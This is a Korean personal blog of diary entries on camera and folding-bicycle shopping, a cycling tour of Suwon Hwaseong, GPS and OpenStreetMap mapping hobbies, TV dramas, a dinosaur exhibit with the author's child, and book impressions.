Q. 그거 돈 되요?
최근에는 대부분의 사진을 휴대폰 카메라로 찍었다. 뭘 찍어도 사진이 구렸다. 한동안 틈틈이 카메라 스펙 쇼핑을 했다. 사고 싶은 카메라는 Casio EX-Z450이다. 배터리 한 번 충전으로 550여장을 찍을 수 있고 H.264 동영상 녹화가 가능하다(무엇보다도 H.264 동영상 녹화가 중요). 렌즈 밝기도 그만하면 됐다. 8GB SD 포함해서 최저가는 361230원. 2-3개월 기다리면 가격이 떨어질까? 이 카메라를 사는 사람들이 있긴 한지 궁금하다.
responsible travel, political travel 이란 범주의 '여행 방식'에 관한 글을 찬찬히 읽어보았다. 배낭여행이잖아? 또는 배낭여행에 꽃칠한 건가? 돈없이 찌질거리며 다니지 않는 배낭여행을 말하고자 함인가? 미얀마 여행을 할 것인가, 말 것인가, 거기 갖가지 핑계를 갖다붙일 수 있지. 여행을 해서는 안 될 이유와, 여행해야 할 이유 따위들. 그렇게 생각하면 두 단어는 좌파 등신들이 갖다 붙이기 좋아하는 좀 역겨운 정의역 이거나 마케팅 용어처럼 여겨지기도 한다. 그러므로 특별히 할 말이 있어야 할 이유가 없기 때문에 비아와 상관없다, 게다가 이견부주심막추심이다.
잦은 자전거 사고로 머리가 아파서 자전거 보험을 알아봤으나, 내가 다쳤을 때 보장하는 것은 쥐꼬리만하고 내가 자전거로 남을 치었거나 기물을 파손했을 때 보장해 주는 것이다. 일반 상해 보험과 다를 것 없고, 심지어 자전거 도난도 보험 처리가 안 된다. 거의 쓸모가 없는 보험이랄 수 있겠다. 하지만 이런 자전거 보험을 들고 최소한 마음의 평안을 얻은 사람들도 많은 듯.
이사가면 자전거를 사주겠다고 아내에게 약속했다. 뭐 사실 본인은 원치도 않지만 기껏 자전거 타는 것을 가르쳐줬는데 이 김에 자전거 좀 타보도록 권하고, 안 타면 내가 타고 다니면 된다는 생각으로 아내가 몰고 다닐만한 자전거를 알아봤다.
수년 전 어렵사리 아내에게 자전거 타는 방법을 가르쳐 주었다. 의외로 쉽게 배우는 것으로 보아 용기가 없었지 운동신경이 없는 것은 아니었다. 여러 기종을 알아봤지만 가격대가 높아야 그나마 성능이 좀 되는 것들이라 참 고르기가 난감했다. 브롬톤이나 KHS가 좋지만 많이 비싸다. 첼로에서 나온 블랙캣 컴팩트3.0이 의외로 사양이 좋았다. 다혼 OEM 차체이고 더더군다나 폴딩이 되면서 성능도 어느 정도 괜찮아 보였다. 무엇보다도 29만원! 두말 없이 구입했다.
6단 기어로 대략 22~24kmh 정도가 나오고 8단에서 30kmh 정도가 가능하다. 다만 고개를 오를 때 조금 경사 있는 곳을 오르니 앞 바퀴가 들려서 황당했다. 안장 위치를 앞으로 조금 당기고 핸들바를 낮추니 쓰러지진 않겠다. 어차피 아내가 타려면 싯과 핸들바 사이가 내가 타는 것보다는 좁아야 하고, 다리를 편하게 뻗으려면 MTB의 다이아몬드 형태의 프레임보다는 이게 나을 듯.
GPS도 마운팅. 핸들바가 높다. 자전거 무게는 12.2kg로 그렇게 가볍진 않은 편. 의외로 자전거가 탈만 해서 놀랐다. 아내보다 내가 더 자주 사용하게 될 것 같다. 그런데 차체의 길이가 26인치 자전거와 같다. 생각보다 자전거가 길다.
자전거 타고 돌아오는 길에 줄 서서 기다리며 먹는 희안한 만두가게(보영만두)에서 만두와 쫄면을 포장주문했다. 집에 가져와 아내와 먹어보니 쫄면과 고기만두는 괜찮았지만 김치만두는 별로였다. 미니벨로에 애를 태우고 이틀동안 돌아다녔다. 그나저나 서울 에어쇼에 못 간 것이 아쉽다.
'장난감을 많이 가지고 놀다가 죽은 사람이 성공한 인생을 살다 간 사람이다.' from 말콤 포브스. -- '열혈장사꾼'이란 만화책에서 봤다. 여자 얼굴들이 다 똑같은 특이한 만화다. 되지도 않는 말을 갖다 붙이는 것이나 어안이 벙벙할 정도로 유치한 서사가 돋보이기도 했다. 심지어 이걸 드라마로도 만든다!
몰래 트위터질을 얼마간 하다가 접었다. 몇 안 되는 글자로 정서 표현이나 url 끄적이는 정도나 가능할 뿐, 나나 트위터의 이웃의 초 단위로 변하는 지저분한 감상이나 밑도 끝도 없는 위트를 즐기기엔 내 스펙이 역부족이다(mea culpa! mea culpa!). 아무래도 평소 게시물에 달린 한 줄 짜리 댓글에 가지고 있는 복잡한 감정과 비슷하지 싶다.
blog(web log)가 애당초와는 달리 상당히 많이 변형되었다는 것을 미리 감안하고, 자기 일기장 공개해서 얼굴을 모르는 '친구'를 사귀고, 밑도 끝도 없이 공감하고, 선전으로 돈을 벌고, 자기 일기에 토다는 걸 감사해 하는게 어떻게 생각하면 웃겼다. 반감은 없다. 그냥 웃긴다.
FRAME | APPALANCHIA ALLOY FRAME |
FORK | RST, OMNI 191-T9, 80mm TRAVEL, W/O PIVOT, FOR DISC BRAKE |
RIMS | 26X1.75\", 14GX32H, F/V, SIDE CNC |
HUBS | SHIMANO, HB-RM65, 32H, OLD:100mm, CENTER LOCK |
SPOKES | STEEL BLACK, STEEL UCP NIPPLE |
TIRES | HENGA, HS-391, 26X1.95\", F/V(40mm), SKIN WALL, ALL BLACK |
PEDALS | ALLOY, 9/16\", BODY:ALLOY SILVER, CAGE:ALLOY BLACK |
CRANK | 42X34X24T, 170mm, ARM:ALLOY BLACK |
CHAIN | KMC, Z-72 |
BOTTOM BRACKET | SHIMANO, BB-UN26, SHELL:BSA 68mm |
FRONT DERAILLEUR | SHIMANO, FD-C050, DUAL PULL, Φ31.8 BAND |
REAR DERAILLEUR | SHIMANO, ACERA RD-M360-L, DIRECT-MOUNT BLACK |
SHIFTERS | SHIMANO, ST-EF60-8, 3X8-SP, BLACK |
HANDLEBARS | APPALANCHIA BAR, Φ22.2XΦ25.4, W:620, RISE:20, SAND BLAST BLACK |
STEM | APPALANCHIA STEM, Φ28.6XΦ25.4, 17˚, H:41, EX:90/110, SAND BLAST BLACK |
HEADSET | 1-1/8\", STEEL BLACK |
BRAKESET | SHIMANO, BR-M416-L, MECHANICAL DISC BRAKE, 160mm CENTER LOCK RING ROTOR |
SADDLE | APPALANCHIA SADDLE, RAIL:STEEL BLACK, W/APPALANCHIA LOGO |
SEAT POST | ALLOY, Φ27.2X350L, SAND BLAST BLACK, W/APPALANCHIA LOGO |
생명이 있는 자들은 모두 동쪽으로삼라만상이 모두 자유로워지기를두려움과 번뇌와 가난에서 자유로워지기를마음의 평화가 찾아오기를
전 대원이 환각에 시달리는 Defying Gravity 4화에서 H2IK Sequence란 것이 나왔다. 로스트를 벤치마크했는지 바보같은 플래시백을 자나깨나 사용하고 심한 낚시질에 내용은 별 거 없고 아울러 재미도 없지만 H2IK 시퀀스는 언젠가 써먹을 수 있을 것 같다. H2IK=Hell If I Know
9월 23일 밤. 아내는 라면 세 박스를 포함한 다섯 박스의 짐과, 아이를 데리고 오후 11:30분 비행기를 타고 터키로 날아갔다. 오랫만에 하는 여행 탓에 며칠 전부터 기분이 좋은지 콧노래를 부르며 평소와 달리 아이를 살갑게 대했다.
한 달 후 귀국할 때 잊지 말고 알려줘야 할 팁: 비행기에서 자다 깬 경우, 수면 중 열이 오르기 때문에 신종플루 검사를 위해 설치한 입국장 적외선 감지기에 걸려 수속이 지체될 수 있으므로 괜히 빨리 빠져나온다고 서둘러 뛰지 말고(나나 아내나 평소에 번거로운 입국수속 지체를 피하기 위해 1등석 승객들보다 더 빨리 빠져나온다) 화장실에 들러 찬물로 얼굴을 씻어 열을 내릴 것.
Solar Roadways -- 이거 정말 끝내주는데?
Russia's New Holiday: Programmer's Day -- 선진국 러시아.
드릴 비트 대부분이 부러져 남은 것이라고는 출력이 약한 전지식 전동 드라이버에서는 별 무쓸모인 콘트리트 비트만 남았다. 토크도 토크거니와 멀쩡한 비트가 없어 해머 드릴 기능이 있는 전동 드릴을 새로 구입했다.사은품으로 끼워주는 드릴 비트의 품질이 영 꽝이다. 그들 중 금속용 비트를 부러뜨려 먹었고 쓸모없는 콘크리트 비트의 숫자를 셋 더 늘렸다. 어쩔 수 없어 다시 드릴 비트만 주문했다. 홈 DIY 별로 안 좋아한다. -_-
9월 2일. 김씨 아저씨가 표를 줘서 디스트릭트9 시사회를 봤다. 그냥 웃겼다. 영화는 무척 웃겼는데 지나고 나니 세부를 대부분 잊어버렸다.
샌드맨을 읽었다/봤다. 닐 게이먼의 글은 좋은데 그림이 질린다. 참 정이 안가게, 재미없게 그려주신다. 일본 코믹스에 익숙해진 탓일까? 그런데 샌드맨의 그림은 잘 그린 것도 아니잖아? 유명 만화가란 것들이 왜 이렇게 개성 없는 그림질인걸까? 똥멋만 들어가지고.
집에 돌아와 컴퓨터 앞에서 드라마를 보다보면 졸기 일쑤였다. 졸다가 깨보면 새벽 2시나 3시 무렵. 아침 8~9시에 일어나는 의외의 생활이 이어지고 있다.
Philanhropist. 이번엔 인도 카시미르. 과부들의 땅. 어떤 이는 필란쓰로피스트가 위선적이라고 말했다. 마치 월드비전이 성금 모아서 외국에서 통전선교를 하는게 메스꺼운 것처럼. 담요 한 장 덮지 못해 얼어죽는 아이들을 위해... 그만 하자.
Fringe 2기 시작. A New Day in the Old Town. 이제 본격적인 드라마 시즌. 하지만 볼만한 드라마 대부분이 더이상 방영을 하지 않아 아쉽다.
진 마징가 Z. 비너스A의 출격. 이런 장면을 비롯한 전투씬 등에서 보이는 뛰어난 연출 때문에 아직도 보고 있다. 음악도 괜찮다.
샹그리라. 여고생 지랄물이라 생각한 건 내 잘못. 무겁고 살벌한 세상살이. 많이도 죽인다. 24화로 끝났다.
flikr에 사진을 올리면 텍스트큐브에서 쉽게 사진을 임베딩할 수 있다. 하지만 flickr는 바보스런 수동 지도 매핑 방식을 고집했다. 그래서 여전히 사진을 파노라미오에 올렸고 트랙로그는 wikiloc.com에 올렸다. gpson.com 사이트를 만든 상오기님이 사진과 트랙로그를 결합한 것을 만들었다.
트랙로그를 mapsource로 읽어와 gdb로 저장한 다음 gpsbabel로 gdb를 gpx로 변환하고, photoworks로 사진을 일률적으로 조정한 다음 geosetter로 geocoding을 하고 panoramio에는 사진을 올리고, wikiloc에는 트랙로그를 올리는 대단히 복잡한 방식을 사용하고 있다. 무슨 장점이 있는 것도 아니고, 장인스러운 고집도 아니다. mapsource, geostter는 훌륭한 프로그램이라 해두고, panoramio나 wikiloc은 그것을 대체할 서비스가 없어 보여서다. mapsource와 gpsbabel은 gps track maker를 사용하면 그만이지만, KOTM v3 지도에서 경로를 대조해 보는 재미가 상당하다.
panoramio는 jpg의 description(comment)를 사용하지 않았다. 그래도 flickr보다는 낫다.
gpsbabel은 utf-8 엔코딩의 변환에 문제가 있다.
geosetter는 잘 생긴 프로그램이다.
picasa의 웹 앨범은 무료의 경우, 고작 1GB만 지원한다.
저번에 화성행궁을 보고 의외로 대단해서 화성을 제대로 관광하자고 마음 먹었다. 9월 6일. 때마침 아내와 아이가 어디 놀러갔다.
화성이 유명 관광지이긴 하지만 수원을 방문한 관광객이 수원에 체류하는 시간은 평균 4시간, 그동안 쓰는 비용은 일인당 1300원 정도다. 수원시의 돈 먹는 하마라는 화성운영재단은 유네스코 지정 문화유산으로 돈벌이를 제대로 못하고 있었다. 시의원들이 까대는 핑계인 돈벌이는 그렇다치고, 화성운영재단이 별다른 일을 하지 않는 것 같아 내가 세계문화유산이 있는 도시에서 자부심을 느끼며 살아가는데 다소 지장이 있다. 그건 그렇고 화성운영재단은 매년 적자를 보고 있는 수원화성사랑채(화성행궁 옆)를 운영하는데, 사랑채의 도미토리 투숙은 1인당 1만원 꼴.
* * *
체제공은 화성 축성에 관한 행정을 총괄했고 정약용은 성설(화성의 설계도)을 지었다. 1792년 정조는 정약용에게 기초 조사 및 설계를 지시하고 1794년 1월 화성 축성을 시작하여 1796년 9월 완성했다. 정조는 규장각을 통해 서양 문물을 받아들여 청나라의 고금도서집성중 5천여권을 수입해 외국문물을 연구하도록 했다.
화성의 동쪽과 서쪽은 산을 자연적으로 이용하고 남쪽과 북쪽은 평지에 거중기를 사용해 축성했다. 그리고 도시기반 시설을 마련했는데, 만석거를 건설하고 축만제(서호)를 건설함으로써 과학영농의 중심이 되게 했다. 수원에는 지금도 농업시험소가 있다.
화성의 건축 목적은 행궁을 호위하기 위한 것이었다. 화성의 둘레는 약 5.74km, 성벽의 평균 높이는 5m 정도. 화성의 사대문은 장안문, 팔달문, 창룡문, 화서문으로 모두 옹성이 있다. 그 사이에 암문을 설치했다. 서장대는 군사 지휘소 역할을 했다.
수원역을 지나 병점역쪽으로 가다가 수원천 자전거 도로로 빠졌다. 이게 자전거 도로일까 의심스러울 정도로 우스웠다. 개천을 덮어서 중간에 산책로가 끊겼다.
http://www.youtube.com/watch?v=fARsA3i7q8E
수원천을 따라 자전거를 몰았다.
http://www.youtube.com/watch?v=zYmwAWNGeio
성곽을 따라난 길을 달리면서 찍은 동영상
이것으로 두 차례에 걸친 수원 화성 관광을 끝냈다. 날이 더워 성곽 동쪽 끝에서 팔달산 꼭대기까지 도보로 돌아다니는 것은 못 했지만 화성이 생각 이상으로 좋았다. 잘 만들었고 예쁘다.
한가하게 약 네 시간 동안 관광했다. 자전거를 타고 돌아다니기에는 길이 별로 안 좋았다. 집에 돌아와 저녁으로 7500원짜리 부어치킨과 캔맥주 두 개를 먹었다. 닭맛에 일가견이 있다고 생각하는데, 소문으로만 알던 부어치킨의 가격대 성능비가 대단하다. 7500원 짜리가 무수한 12000원 짜리 통닭보다 낫다. 이제는 닭 먹고 싶으면 무조건 부어치킨이다.
경제 살린다고 하면 경제가 죽고2개의 알려진 사실로부터 3번째를 유추? 흥미로운 논리는 아니지만... 어째서 노무현과 김대중이 죽은걸까. '김대중 전대통령은 홧병으로 죽은 거야' 라고 아내에게 말하니 이명박이 전직 대통령 셋을 잡을 관상이란 말을 친구에게 들었단다. 노태우가 있었구나. 논리로선 해소할 수 없는 불가해가 일상적인 세상이 아니라서 나만 이해가 안되는 것이다.
서민 살린다고 하면 서민이 죽고
4대 강 살린다 했으니 자연도 조져 놓겟네
* 그러므로 통전적 선교가 그냥 선교에 비해 더 확실한 마케팅 방식이다.
정상 및 비정상
120개의 시군에 지도 제작자가 각각 한 명씩 있고 그들이 GPS로 트랙로그를 만들어 지도를 그리는 작업을 한다고 가정하면 대략 8개월이면 한국 지도의 상당 부분이 완성될 것 같다. 나 혼자 작업하더라도 GPS 들고 자전거 타고 샅샅이 돌아다니면 시가지 면적 60km^2 정도의 왠만한 중소 도시의 매핑에 한 달이 안 걸릴 것 같다(1주일에 하루 실측을 위해 돌아다니고, 하루 매핑한다고 가정하면 약 4일간 도심에서 400km를 이동). 조만간 한 번 해 볼 것이다. 독일 매퍼들처럼 어느 날 한 도시를 완전히 매핑했노라고 자신만만하게 선언해 보고 싶긴 한데, 한국처럼 역동적인 곳에서 완전한 매핑이란게 말처럼 쉬운 것이 아니다.
OSM 한국 지도를 정기적으로 다운 받아(XAPI 서버가 드디어 복구되었다!) 한글 로마자 변환과 고아 노드를 삭제하고 있다. 깨끗한 지도가 되었지만 남들 작업해 놓은 것을 괜히 임의로 수정한다고 여기지 않을까? 선의로 하는 것이니 부디 그렇게 생각하지 않았으면 좋겠다. 항의가 들어오면 즉각 중단할 것이다.
KOTM v2.5 버전을 만들었다. 다음 GPSGIS 동호회에 올린 글로 대체:
http://cafe.daum.net/GPSGIS/BT6Y/862
KOTMv3 이후엔 딱히 더 할 일이 없을 것 같다. 딱 1년 목표로 프로젝트를 시작했는데, 10월이면 프로젝트가 완료되고 따라서 이 작업노트 역시 종료된다.
황씨가 술 마시다 이런 얘기를 했다: 신체 중 딱 한 부분을 제외하고는 성장을 멈춘단다. 역으로 말해 인체 중에는 성장을 계속하는 부위가 있는데, 그게 바로 귀란다. 그 맥주집이 제공하는 생맥주가 하이트 맥스 생맥주라는데 맥스 맛이 안 났다. 안 그래도 먹는 맥주가 맥스 뿐이라 다른 맥주와 쉽게 구분이 된다.맥스 스페셜 2009를 마셔보고 싶지만 세븐 일레븐에 들를 일이 없어 기회를 놓친 것 같다. 아내는 코스트코에서 맥스를 한 박스 사왔다. 별 불만은 없지만, 다른 맥주를 마셔볼 기회가 사라졌다. 황씨 얘기에 고개를 끄덕였다. 사람이 살아가면서 점점 더 남의 말에 귀를 기울이게 되는 것이 성장이라는... 알레고리로 알아들었다.
인간이 죽을 때까지 성장을 계속하는 기관은 심장이다. 심장은 점점 무거워지고 양심의 질량 역시 날이 갈수록 증가한다. 귀든 심장이든 이것들은 알레고리로 읽는 것이다. 그쯤 해 두자.
다큐프라임의 '설득의 비밀'에서 타인을 설득하기 위해 알아야 할 세 가지 사실을 정리해 준다. 잘 들어주고, 설득은 논쟁이 아니며, 끝까지 포기하지 않는 것. 그러고보면 대인관계를 관 속에 묻고 못 박은 후 누군가를 설득하기 위해 정성을 기울인 적이 없다. 인생은 각자 자기들이 알아서 살면 된다. 피아간의 아름다운 거리를 확보한 채. 흡사... 똥을 피하듯?
똥을 밟았다 치고... 달착륙 조작설을 반대하는 증거는 이제는 너무 쉽게 찾을 수 있기 때문에 언급할 가치가 없는 한물간(?) 음모론이라 요새는 그런 거 써서 성의있는 응답을 얻기 기대하기 힘들 것 같다. 어렸을 적에는 달착륙 조작설의 신빙성을 조금이라도 높이기 위해 없는 얘기도 지어내며 심혈을 기울였는데, 신실하게 속아 넘어가는 사람들이 현저하게 줄어서 그런 작업이 무의미해졌다.
음모론에 관한 설명을 보니, 최면에 잘 빠지는 것처럼 음모론에 쉽게 넘어가는 체질이란게 존재할 지도 모르겠다는 생각이 들었다. 인위적인 노력을 들여야 작용하는 긍정적 피드백은 암울한 세상에서 자신의 멀끔한 정체성을 유지하고 게으름과 고독과 고통의 연쇄를 끊기 위해 대부분의 사람들이 사용하는 강력한 자기암시의 주술이다.
마누라가 콩으로 메주를 쑨대도 잘 믿지 않는다. 심지어는 콩이 메주가 되는 과정을 두 눈으로 봐도 잘 믿지 않는다. 나같이 믿음이 결여된 사람들을 위해 아우구스투스는 고백록에서 이런 조언을 했다; 우주를 창조하기 전에 신은 무엇을 하고 있었을까? 신은 하늘과 땅을 창조하기 전에 그런 질문을 할 사람들이 갈 지옥을 만들었다. -- 그래서 대대수 과학자는, 사이코패스, 악당, 독재자, 살인마와 함께 지옥에 있는 것으로 설정되어 있다. 물론 프로그래머도.
세상은 이러저러한 이유로 의외로 살만한 곳일지도 모른다고 여기는 자기 긍정 -- 세상은 (보잘 것 없는) 당신의 판단에 따라 살기 좋아졌다가 나빠졌다가 하는 독특한 시공간이 아니다.
내가 노력하면 세상이 바뀌던가 공공에 기여하게 된다던가 적어도 자신은 기쁘게 된다는 것 -- 그것들을 계량할 방법이 자의적이거나, 지극히 제한되어 있는 상황에서(행복의 총계의 경우와 같다) 자기 기분만이라도 나아지면 썩 좋을텐데, 이것마저 자신의 정신세계에 의도적 조작을 가한 것이라면? 사회 봉사로 땀을 흘리는 것이나 정신이 멍해질 때까지 땅 파는 것이나 정서 효과는 매우 비슷하지만 전자는 본인 뿐 아니라 다른 사람들의 마음도 훈훈하게 해주니 누구나 추천할 따름. 노력은 계량되기 어렵고, 성과 역시 계랑되기 어려운데 둘의 상관 관계를 말해 무엇하랴.
EBS의 개념 프로그램, 다큐프라임에서 올초, '인간의 두 얼굴' 시즌2를 방영했다. 인간은 왜 이렇게, 또는 저렇게 행동하는가? '착각' 때문이다. 작년 '인간의 두 얼굴' 시즌1은 윤리가 상황에 따라 변한다는 것을 보여주었다. 설령 그것이 심리학 교재 등에서 흔히 설명하는 실험을 재현한 것이라 하더라도 그 재미나 즐거움이 반감되지는 않는다.
다큐프라임이 지속적으로 장안에 화제가 되는 워낙 대단한 프로그램이라 대체 누가 이런 프로그램을 만드나 궁금해서 조사해 보기도 했다. PD 십수명이 TFT를 구성해서 상큼한 아이디어를 바탕으로 호기심을 끌만 하고 재미있는 다큐멘터리를 지금도 열심히들 만든다.
컨텐츠 외에 누가 만들었는지 보통은 신경쓰지 않는 편. 평생 무수한 교향곡을 작곡한 악성 베토벤 마저도 걸작은 고작 3개 밖에 없다고 생각한다(다큐프라임은 내가 본 40여편 중 무려 7편씩이나 흥미진진했다. 적어도 누가 만들었는지 이름은 알아야 할 이유가 된다) 베토벤은 그나마 다른 사람보다 대단히 높은 확률이지만, 창작자가 평생을 삽질해봤자 쉽게 걸작이 나오지 않는다. 그러니 봐야 할 것은 무척 많은데 누가, 왜, 이렇게 만들었을까? 그의 철학은 도대체 무엇일까? 따위부터 창작자의 별 시답지않은 시시콜콜한 인생사까지 파헤칠 이유가 없었다. 게다가 박식한 오타쿠 친구가 있으면 술자리에서 슬쩍 화두를 던져주기만 해도 뼈다귀를 물러 달려가는 개처럼 정열적으로 요점을 설명해주니 오타쿠 한 명으로 인해 술자리가 더더욱 감칠맛 나니까 그런 편리를 도모하는 것도 좋은 방편이지 싶다.
그래도 이렇게 말하는 소리가 귀에 선하다; 당신이 좋아하는 어떤 것에 애정을 가지면 그것의 똥구멍마저도 감사히 핥게 될 것이라고. 그래서 말인데, 다큐프라임의 '인간의 두 얼굴' 시즌 3,4,5는 강박증과 집착, 그리고 중독을 다루는 것이 마땅하다. 감사히 똥구멍을 핥고야 마는 대표적인 자가 약물 중독 현상이자 일상적인 집착/강박인 falling in love 도 흥미로운 소재꺼리가 될 수 있으니까.
아무튼, 달착륙 조작설은 어린이들의 지능 계발에 도움이 되는 레크레이션 활동(동화 구현 같은)이라 여겼는데 요즘은 마치 창조론처럼 광신도가 생기는 걸 보니 격세지감을 느낀다. the Sun지에 나오는 가십 정도지, 달착륙이 거시 규모 자본 이동이나... 입에 풀칠하고 살기에 미미한 영향마저 끼치지 않는 관계로 정말 그걸 중요하게 생각하는 사람은 없다고 생각하고 싶지만... 온라인에서 한물간 음모론에 집착하면서, 자신의 두세 번째 아이덴티티로써 정신세계가 무척 자유로운 뉴에이지 또라이를 만든 다음 꽃 보살피듯 정성스레 가꿔가는 것에 뭐라 할 말이 없다. -- 농담을 착각한 후, 착각한 자신을 긍정해 버린 다음 자기 똥구멍을 핥는 일에 집착하는데야 뭐...
주말에 비가 온다길래 물놀이는 글렀고, 마침 괜찮아 보이는 투어 코스를 추천해줘서 아이를 데리고 노원구청에서 하는 공룡전을 보러 갔다. 엄청난 인파 -- 초딩 monster wave. 전시실에서 티라노사우르스가 정체불명의 용각류 새끼를 잡아먹는 모습을 보고 아이가 잔뜩 겁을 집어 먹었다. 안 그래도 요즘에는 타르보사우루스 따위 육식공룡이 먹고 살겠다고 열심히 뛰어다니며 사냥하는 공룡 다큐 따위를 보여주면 애가 기겁을 한다.
툭하면 심술을 부리는 울보가 감정이입을 배울 무렵이 되었나? 아이에게 글자 하나 안 가르치고 있지만 보상과 처벌을 똥개 훈련시키 듯 할 때는 내 자신이 좀 야비하게 느껴졌다. 성격 형성의 주요 파트가 거의 끝났다(만 2-3세 무렵에 형성됨). 이제 되든 안되든 그 성격으로 평생 살아갈 것이다. 아내에게 아이 성격 보정에 관해 알려주지 않은 것을 어떤 면에서는 잘했다고 생각했다. 하지만 그 때문에 아내가 다른 많은 여자들처럼 아이 문제로 속 썩일 가능성은 높았다. 고집이 아내를 닮았으니까.
딸아이와 여행할 기회가 앞으로 얼마나 있을까? 얼마 되지 않겠지.
아이가 아마도 평생 기억하게 될 아빠의 모습을 새기는 작업을 근 2개월 가량 정성들여서 했다. 말하자면 아빠에 대한 원형 기억을 임프린트 하는 일 -- 구체적으로는 새로운 경험을 정서와 혼합하여 해마에 질기고 오래가는 시냅스 가닥을 형성하는 것인데(농사에 시기가 있듯이 애 키우기에도 단계가 있는 것 같다) , '너는 앞으로 아빠 도움없이 혼자 살아야 한다. 아빠는 네 인생에 그다지 도움이 되지 않는다. 물론 엄마도 마찬가지!' 라는 메시지를 각인시켜 주려고 했는데, 뜻대로 되지 않았다.
공룡 삽화 또는 상상화의 대부분이 연도별로, 또는 알려진 사실에 따라 채색이나 체형이 들쭉날쭉하기 때문에 십년 전에 본 그 놈이 지금 본 이 놈이 아닐 수도 있다. 그나마 최근에는 공룡 피부가 우중충한 국방색을 벗어나 덜 지루하달까... 이구아노돈 옆의 브론토 사우르스(아파토 사우르스)는 최근에 38톤에서 18톤으로 다이어트 당했다. 같은 용각류 중 디플로도쿠스는 후세인들에 의해 내키는대로 등에 비늘이 돋은 것도 있고 돋지 않은 것도 있으며, 브라키오사우르스의 특징중 하나인 길고 튼튼한 앞다리와 경사진 몸통과 엄청난 몸무게 역시 예전에는 보지 못했던 것이다. 그 옆의 티라노사우르스 렉스는 앞에서 본 두개골 모양이 어쩐지 낯설었다. 넌 뭐냐? 이 이구아노돈은 흡사 목장에서 고기를 얻기 위해 방목해서 키우는 가축같은 생김새랄까... 왠지 적응이 안된다... 돼지 사육의 최적 중량은 100kg 가량으로 알고 있다. 그 이상 키우면 먹은 사료만큼 살로 가지 않는다.
아이한테 뭐 먹고 싶어? 물으니 칼국수를 먹고 싶단다. 칼국수 따위는 성장에 도움이 되지 않는다. 애가 돼지나 이구아노돈처럼 토실토실 살이 좀 올라야 할텐데... 이상, 아빠의 걱정.
선유도 공원 분위기 탓인지 모델을 데리고 사진 찍으러 많이 오는 것 같다. 아이는 조그만 물 공원에서 물보라를 튀기며 주위의 눈총에도 아랑곳없이 자기 만의 세계에 빠져 놀았다. 아내 말로는 혼자 노는게 아빠를 닮았단다.
아이를 자전거에 태우고 가면 사람들은 이렇게 생각하는 것 같다: 시꺼먼 달리트 사이클 릭샤 왈라가 땀을 뻘뻘 흘리면서 자전거를 몰고 가는데, 자전거 뒤편의 차양 달린 편한 의자에는 브라만 계급의 철없는 부잣집 딸내미가 팔자 좋게 앉아 과자를 먹으면서 바깥을 기웃거린다. 가끔 릭샤왈라에게 '천천히! 천천히!' 소리를 지르면서. 그런 오해나 편견이 확대 재생산 되는 것을 원치 않기에 사진 따위를 일체 남기지 않았다.
입술이 새파래진 채 벌벌 떨고 있는 모습을 보고 있던 저 먼 바위 아줌마 셋이 부러 참견해 별 생각없어 보이는 젊은 아빠에게 큰 소리로 충고했다: '아저씨! 아이가 쉬 마려운가봐요. 얼른 소변보게 해 줘요!' 대꾸했다. '아이가 추워서 그래요' 그러자 세 아줌마가 이구동성으로 지지않고 말한다. '아니에요. 쉬 마려운 거에요' 추위 탓에 방광이 오그라들어 몸을 비비 꼬고 사시나무처럼 덜덜 떨고 있는 거지만 계속 우기다가 아이가 덜컥 오줌이라도 싸면 우기는 바보 아빠가 되는 건 순식간이라 하는 수 없이 아이를 데리고 오줌 눌 곳을 찾았다. 아이는 오줌을 눗지 않았다.
아줌마들에게 철철 넘치는 애정과 감과 달리 내가 주로 알아먹는 것은 데이타 정도다. 데이타로도 인간에 관한 통찰을 이끌어 낼 수 있고 je ne sais quoi 개개인의 별처럼 반짝이는 특별함을 찾아낼 수 있다. 애정이 없는 싸이코패스가 납치한 남의 집 아이를 더 잘 키울 수도 있다. 내가 그렇다는 얘긴 아니지만, 어떤 때는 30년 후 평범한 아줌마가 되느니 차라리 아이를 스폭처럼 키워 애완견 데이타와 함께 알파 사분면으로 보내고 싶은 기분이 들곤 했다.
기수 서수 구분도 아닌데, 소설에서 숫자로 써줬으면 좋겠다 싶은 것들은 꼭 문자로 썼다. 여섯시 십육분 처럼. 읽기가 아주 지저분하고 직관적으로 다가오지 않아 불편하다. 최근 들어 흡사 짜고 하기라도 한 것처럼 읽는 책마다 그랬다. 입말처럼 써야 하기 때문이지 라고 말할 것 같은데(아니면 다른 이유가 있나?), 숫자로 보는 것이 훨씬 직관적이란 거 모르나. 학습 덕택에 숫자는 브로카로 읽는 것이 아니다. 인지적으로 숫자는 발음하는(발음되는) 것이 아니라 '보는' 것이다.
게다가 피트, 마일, 갤런 따위 단위도 도량형 변환을 하지 않고 적을 때도 있다. 무식한 소설 나부랑이야 그럴 수 있다손 쳐도 과학교양서가 그 모양이면 안되지 싶은데? 한국 독자가 전세계에서 표준미터법을 공공연히 무시하는 딱 두 나라의 시민 -- 양키나 잉글리시라도 되냐?
그런데 '에너지'편은 재밌었다. 궤도 엘리베이터, 효율 83%짜리 태양전지, 화성, 은하계 여행 운운하면서 기술로 이 추악한 세계를 구원한다는 희망적인 메시지를 담았다. 추악한 세계를 구해서 그보다 나은 추악한 세계를 건설한다는 취지다.
David Mitchell, 유령이 쓴 책: 그가 지금까지 쓴 책은 넘버 나인 드림, 클라우드 아틀라스, 블랙 스완 그린이다. 유령이 쓴 책을 제외하고 한 권도 번역되지 않아 아쉽다. 유령이 쓴 책이 그의 데뷔작인데, 데뷔라고 믿어지지 않을 정도로 글빨이 살아있다. 종횡사해 인간과 인간 사이를 이동하는 불노불사의 유령이 여러 도시와 시대를 거치는 이야기.
홍콩: 지난 몇 달간, 나는 여자 셋과 함께 살았다. 한 명은 유령이었고 이제는 여인이 되었다. 한 명은 여인이었고 이제는 유령이 되었다. 한 명은 유령이었고 언제나 유령일 터였다.
성산: 부처님은 삶에서 용서가 꼭 필요하다고 종종 내게 말씀해주셨다. 동의한다. 하지만 용서받은 사람의 평안을 위해서가 아니라 용서한 사람의 평안을 위해서이다.
몽골: 배낭여행자와 나 둘 다 기생생물이다. 나는 숙주의 머릿속에 살면서 기억을 조사하며 세상을 이해한다. 배낭여행자는 자기 소유가 아닌 숙주의 나라에서 살며 배우기 위해 또는 지루함을 없애기 위해 그 문화와 풍경을 이용한다. 일반적으로 우리는 실체가 없고 보이지 않는다. 우리는 고독의 분비액을 씹는다.
